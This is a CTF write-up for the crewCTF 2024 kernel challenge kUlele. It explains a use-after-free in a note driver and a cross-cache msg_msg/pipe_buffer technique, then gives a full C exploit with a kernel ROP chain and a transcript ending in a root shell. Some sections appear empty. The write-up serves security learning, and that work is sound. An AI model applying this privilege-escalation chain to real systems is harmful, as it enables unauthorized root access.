0x00 Introduction

This is a CTF write-up for the challenges kUlele in crewCTF 2024.

This is also my first challenge solved during the CTF game.

0x01 challenge

attachment

It’s a simple kernel challenge. It’s like the userspace menu heap challenge.

In ioctl, there are three features, including

The kernel module is not complex and the vulnerability is easy to find in the del branch, which frees the object without clearing the pointer. So it’s a typical UAF.

The allocated objects belong to kmalloc-* (GFP_KERNEL). And we at most trigger the add branch 10 times. Also, there is HARDEN_USERCOPY to avoid out-of-bound access.

For heap UAF exploitation, we usually attack with cross-cache or the same allocation flag objects. I didn’t know many objects with GFP_KERNEL so I exploited the challenge with cross-cache. I’ll present it first in the post and then do an after-CTF write-up with some GFP_KERNEL objects.

GFP_KERNEL_ACCOUNT -> 0x000000000400cc0
GFP_KERNEL -> 0x000000000000cc0

Btw, this challenge doesn’t enable pti because of the correct run.sh. It should be pti=on instead of kpti=1.

0x02 Limits

Before we start exploitation, there are several limits that need to be listed:

In summary, we may need to allocate large objects to make sure we own the whole slab to perform cross-cache. This may require a page allocator then if we refill with our usual small objects (less than a page), we may not use the show and edit in the challenge. cross-cache may make this challenge harder. However, considering one UAF is enough for exploitation, I ignore the hardness.

0x03 Solutions

In this section, we gonna provide a high-level plan to exploit with the limits talked about in the previous section.

kmalloc-8k            16     16   8192    4    8 : tunables    0    0    0 : slabdata      4      4      0
kmalloc-4k            32     32   4096    8    8 : tunables    0    0    0 : slabdata      4      4      0
kmalloc-2k           160    160   2048   16    8 : tunables    0    0    0 : slabdata     10     10      0
kmalloc-1k           416    416   1024   16    4 : tunables    0    0    0 : slabdata     26     26      0
kmalloc-512          368    368    512   16    2 : tunables    0    0    0 : slabdata     23     23      0
kmalloc-256          576    576    256   16    1 : tunables    0    0    0 : slabdata     36     36      0
kmalloc-192          441    441    192   21    1 : tunables    0    0    0 : slabdata     21     21      0
kmalloc-128          448    448    128   32    1 : tunables    0    0    0 : slabdata     14     14      0
kmalloc-96          2394   2394     96   42    1 : tunables    0    0    0 : slabdata     57     57      0
kmalloc-64          2816   2816     64   64    1 : tunables    0    0    0 : slabdata     44     44      0
kmalloc-32          1874   2560     32  128    1 : tunables    0    0    0 : slabdata     20     20      0
kmalloc-16          1280   1280     16  256    1 : tunables    0    0    0 : slabdata      5      5      0
kmalloc-8           2560   2560      8  512    1 : tunables    0    0    0 : slabdata      5      5      0

On the attack kernel, I dumped the content of /proc/slabinfo and found that if we use slab allocator, we can only use kmalloc-8k and kmalloc-4k if we don’t use other GFP_KERNEL objects. (I also present a method using GFP_KERNEL objects and attack with cross-cache here). But it’s still hard to do cross-cache for different order slabs. However, there is no size limit for the kmalloc, which means we are allowed to trigger the page allocation if we pass a number more than 0x8(not tested, 0x8 worked for this challenge) pages. As we know, the page-allocated pages can be retrieved by slub allocator!

    for(int i = 0 ; i < 0x8; i++)
        add(0x8000);
    for(int i = 0 ; i < 0x8; i++)
        del(i);
    for( int i = 0 ; i < 0x100 ;i ++)
    {
        memcpy(trash,p64(0xdead000+i),8);
        msgSend(mids[i],0x7d0,trash);
    }

So we have cross-cache UAF!

0x04 Post cross-cache UAF

Post cross-cache UAF techniques are very ordinary.

0x05 Exploit

//https://github.com/n132/libx/blob/main/README.md
//gcc main.c -o ./main -lx -w
#include "libx.h"

#if defined(LIBX)
    size_t user_cs, user_ss, user_rflags, user_sp;
    void saveStatus()
    {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;"
                );
        printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
    }
    size_t back2root = shell;
    void back2userImp(){
        __asm__("mov rax, user_ss;"
            "push rax;"
            "mov rax, user_sp;"
            "push rax;"
            "mov rax, user_rflags;"
            "push rax;"
            "mov rax, user_cs;"
            "push rax;"
            "mov rax, back2root;"
            "push rax;"
            "swapgs;"
            "push 0;"
            "popfq;"
            "iretq;"
            );
    }
    int sk_skt[0x8][2];
    int pipe_fd[PIPE_NUM][2];
    void libxInit(){
        back2user = back2userImp;
        hook_segfault();
        saveStatus();
        initSocketArray(sk_skt);
        initPipeBufferN(pipe_fd,0x100);
    }
    enum spray_cmd {
    ADD,
    FREE,
    EXIT,
    };
#endif // 
int fd = 0;

typedef struct payload{
    size_t size;
    size_t idx;
    size_t buf;
} payload;
void add(size_t size){
    size_t cmd = 0x1001;
    ioctl(fd,cmd,size);
}
void del(size_t idx){
    ioctl(fd,0x1004,idx);
}
char* show(size_t idx,size_t size){


    payload pay;
    pay.idx = idx;
    pay.buf = calloc(1,size);
    pay.size = size;
    ioctl(fd,0x1002,&pay);
    return pay.buf;
}

void dump(size_t idx,size_t size, char * buf){


    payload pay;
    pay.idx = idx;
    pay.buf = buf;
    pay.size = size;
    ioctl(fd,0x1002,&pay);
}
void edit(size_t idx, size_t size, size_t buf){
    payload pay;
    pay.idx = idx;
    pay.buf = buf;
    pay.size = size;
    ioctl(fd,0x1003,&pay);
}
int msgSprayPC(msgSpray_t *spray)
{
	while(spray) {
		for(int i=0; i<spray->num; i++) 
		{
            msgMsg * recv  = msgPeek(spray->msg_id,spray->size);
            hexdump(recv->mtext,0x40);
        }

		// msgDel(spray->msg_id);
		spray = spray->next;
	}
}
int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}
void rand_str(char *dest, size_t length)
{
    int urand_fd = open("/dev/urand",0);
	char charset[] = "0123456789"
	                 "abcdefghijklmnopqrstuvwxyz"
	                 "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
	read(urand_fd, dest, length);
	for(int i=0; i<length; i++) {
		int idx = ((int)dest[i]) % (sizeof(charset)/sizeof(char) - 1);
		dest[i] = charset[idx];
	}
	dest[length] = '\0';
    close(urand_fd);
}
size_t var_poprbp;
size_t var_leave;
size_t var_rbp;
void tainRegs(u64 base,u64 heap){
    var_poprbp = 0xffffffff8216c820 - NO_ASLR_BASE + base; 
    var_leave = 0xffffffff8159c1a3 - NO_ASLR_BASE + base; 
    var_rbp = heap+0x518;
    __asm__("mov rax, 0x9999999999999999;"
    "mov rbx, 0x9999999999999991;"
    "mov rcx, 0x9999999999999992;"
    "mov rdx, 0x9999999999999993;"
    "mov rdi, 0x9999999999999994;"
    "mov rsi, 0x9999999999999995;"
    "mov r8,  0x9999999999999996;"
    "mov r9,  0x9999999999999997;"
    "mov r10, 0x9999999999999998;"
    "mov r11, 0x9999999999999999;"
    "mov r12, 0x999999999999999a;"
    "mov r13, 0x999999999999999b;"
    "mov r14, 0x999999999999999c;"
    "mov r15, 0x999999999999999d;"
    "leave;"
    "ret;");
}
int main(){
    // system("/bin/sh");
    int mids[0x100]  = {};
    for( int i = 0 ; i < 0x100 ; i ++)
        mids[i] = msgGet();
    // shell();
    char * trash = dp('a',0x8000);
    libxInit();

    fd = open("/dev/note",2);

    msgSpray(0xfd0,0x100,trash);
    msgSpray(0xd0,0x100,trash);
    void * payload = p64(0xdeadbeefdeadbeef);

    for(int i = 0 ; i < 0x8; i++)
        add(0x8000);
    for(int i = 0 ; i < 0x8; i++)
        del(i);
    for( int i = 0 ; i < 0x100 ;i ++)
    {
        memcpy(trash,p64(0xdead000+i),8);

        msgSend(mids[i],0x7d0,trash);
    }
    del(0);
    memset(trash,'b',0xfd0);
    msgSpray(0x7d0,0x40,trash);
    int found  = -1;
    for(int i = 0 ; i < 0x40 ; i ++)
    {
        msgMsg * recv  = msgPeek(mids[i], 0x7d0);
        size_t *tmp = recv->mtext;
        if(*tmp == 0x6262626262626262)
        {
            found = i;break;
        }
    }
    if(found==-1)
        panic("No Luck");
    else
        success("Got It");

    
    

    // Leak cur Heap Page
    del(0);
    size_t head[] = {0,0x800,0x2000,0,0};
    char *buffer = calloc(0x7d0-8+0xfd0,1);
    memcpy(buffer+0xfd0,&head,sizeof(head));
    
    // // msgRecv(mids[found],0x1);
    for( int i = 0x80 ; i < 0xa0 ; i ++)
        msgSend(mids[i],0xfd0+0x7d0-8,buffer);
    msgMsg * recv = msgPeek(mids[found],0x2000);
    
    // hexdump(recv->mtext,0x2000);
    size_t cur = *(size_t *)(&recv->mtext[0x7d0]);
    size_t msg_id = mids[*(size_t *)(&recv->mtext[0x800]) - 0xdead000];
    if(msg_id>0x100)
        panic("No Luck");
    // warn(hex(msg_id));

    head[3] = cur-8;
    memcpy(buffer+0xfd0,&head,sizeof(head));
    del(0);
    for( int i = 0xa0 ; i < 0xc0 ; i ++)
        msgSend(mids[i],0xfd0+0x7d0-8,buffer);
    
    recv = msgPeek(mids[found],0x2000);
    // hexdump(recv->mtext,0x2000);

    cur  = *(size_t *)(recv->mtext+0xfd0)-0x800;
    warn(hex(cur));
    

    

    // Leak ktext

    msgRecv(msg_id,1);
    for(int i = 0 ; i < 0x20; i++){
        pipeBufferResize(pipe_fd[i][0],32);
        pipeBufferResize(pipe_fd[i][1],32);
    }

    head[3] = 0;
    memcpy(buffer+0xfd0,&head,sizeof(head));
    del(0);
    for( int i = 0xc0 ; i < 0xe0 ; i ++)
        msgSend(mids[i],0xfd0+0x7d0-8,buffer);

    recv = msgPeek(mids[found],0x2000);
    size_t page = *(size_t *)(&recv->mtext[0x7d0]);
    info(hex(page));
    size_t *ptr = &recv->mtext[0x7e0];
    head[3] = *ptr;
    del(0);
    memcpy(buffer+0xfd0,&head,sizeof(head));
    for( int i = 0xe0 ; i < 0x100 ; i ++)
        msgSend(mids[i],0xfd0+0x7d0-8,buffer);
    recv = msgPeek(mids[found],0x2000);
    del(0);
    for(int i = 0x20 ; i < 0x40; i++){
        pipeBufferResize(pipe_fd[i][0],32);
        pipeBufferResize(pipe_fd[i][1],32);
    }

    ptr = recv->mtext+0xfd0;
    size_t base = *ptr-0x4db8c0;
    
    warn(hex(base));
    debug();
    del(0);
    size_t ppp[] = {0xffffffff810b52c3- NO_ASLR_BASE + base,0,cur+0x500,0,0};



    size_t rdi = 0xffffffff82012efd- NO_ASLR_BASE + base; 
    size_t init_cred = 0xffffffff82c875a0- NO_ASLR_BASE + base;
    size_t mc = 0xffffffff81137500- NO_ASLR_BASE + base;
    size_t ret2user = 0xffffffff822012dc- NO_ASLR_BASE + base;
    size_t iretq = 0xffffffff8220184e - NO_ASLR_BASE + base;

    size_t rop_chain[0x20] ;
    size_t idx = 0 ; 
    rop_chain[idx++]  = rdi ;
    rop_chain[idx++]  = init_cred;
    rop_chain[idx++]  = mc;
    rop_chain[idx++]  = ret2user;
    rop_chain[idx++]  = 0 ; 

    rop_chain[idx++]  = iretq ;
    rop_chain[idx++]  = shell;
    rop_chain[idx++]  = user_cs;
    rop_chain[idx++]  = user_rflags;
    rop_chain[idx++]  = user_sp;
    rop_chain[idx++]  = user_ss;


    size_t retX = 0xffffffff81321fbd - NO_ASLR_BASE + base; 
    size_t fake_op[] = {retX,retX,retX,retX};
    memcpy(buffer,ppp,sizeof(ppp));
    memset(buffer+sizeof(ppp),1,0x500-sizeof(ppp));
    memcpy(buffer+0x500,fake_op,sizeof(fake_op));
    

    memcpy(buffer+0xc6,rop_chain,sizeof(rop_chain));
    for(int i = 0 ; i< 0x4 ; i++)
        for(int j = 0 ; j < 0x20 ; j++)
            skbuffSend(sk_skt[i][0],buffer,0x800-320);

    for(int i = 0x20 ; i < 0x40; i++){
        tainRegs(base,cur);
        close(pipe_fd[i][0]);
        close(pipe_fd[i][1]);
    }
    debug();
}
ctf@linz:~$ /exp
[*] Status has been saved.
[+] Finish: initSocketArray
[+] Got It
[!] 0xffffa0f942698000
[+] 0xffffea98c0090bc0
[!] 0xffffffff94400000
[!] DEBUG

[+] Libx: SegFault Handler is spwaning a shell...
root@linz:/home/ctf$ id
uid=0(root) gid=0(root)
root@linz:/home/ctf$ 

0x06 Summary